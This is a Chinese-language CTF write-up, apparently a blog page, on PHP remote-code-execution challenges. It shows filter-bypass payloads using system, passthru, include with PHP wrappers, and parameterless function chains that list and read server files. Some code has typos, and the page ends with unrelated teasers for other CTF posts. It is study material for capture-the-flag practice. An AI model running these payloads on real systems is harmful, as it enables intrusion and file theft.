目前都是rce
經過**審計可以看出,如果不存在區分大小寫的flag,就會執行」c「。沒有經過任何閉合,很簡單的構造c=system('ls');
經過尋找得到flag,可以在flag中新增\來繞過
**審計,繞過了system函式,我們可以換用passthru,不再贅述。
**審計可以看到繞過了較多的函式,這裡再用別的函式一一繞過太麻煩,我們可以構造?c=include($_get[a]);來例用php偽協議
**審計,這裡直接用了include,所以不需要自己構造了
閉合了一萬個字串
這裡需要用到新的知識點
無引數閱讀檔案
可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c')
這裡用到的大多是陣列的函式
current()返回陣列中的單元,預設取第乙個值:
localeconv()返回一包含本地數字及貨幣格式資訊的陣列。
所以:print_r(scandir(current(localeconv())));列印當前目錄下的檔名
print_r(scandir(next(scandir(getcwd())))) 獲取上一層資料夾名稱
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); 檢視和讀取根目錄檔案
print_r(scandir(getcwd())); 輸出當前資料夾所有檔名.print_r(scandir(dirname(getcwd()))); 檢視上一層檔名
print_r(scandir(dirname(chdir(dirname(getcwd())))));調整工作台到該處
readfile(array_rand(array_flip(sandir(chdir(dirname(dirname(getcwd())))));隨機顯示陣列,需要多重新整理。
CTF 南郵攻防平台(web2)
burpsuit抓包,將響應頭中的cookie項的login 0 改為login 1 即得flag 1 按照指示訪問index.txt 2 讀php原始碼,發現是urldecode多進行了一次,那麼傳參的時候多進行兩次url編碼 提交即可 burpsuit抓包,在響應頭中新增x forwarded ...
CTF做題小結
1.定義 所謂柵欄密碼,就是把要加密的明文分成n個一組,然後把每組的第1個字連起來,形成一段無規律的話。不過柵欄密碼本身有乙個潛規則,就是組成柵欄的字母一般不會太多。2.柵欄密碼的加密方式 把文字按照一定的字數分成多個組,取每組第乙個字連起來得到密文1,再取每組第二個字連起來得到密文2 最後把密文1...
ctf平台的搭建
換源 我個人用的ubuntu18.04,個人通過個人喜好來進行源的修改 deb bionic main restricted universe multiverse deb bionic security main restricted universe multiverse deb bionic ...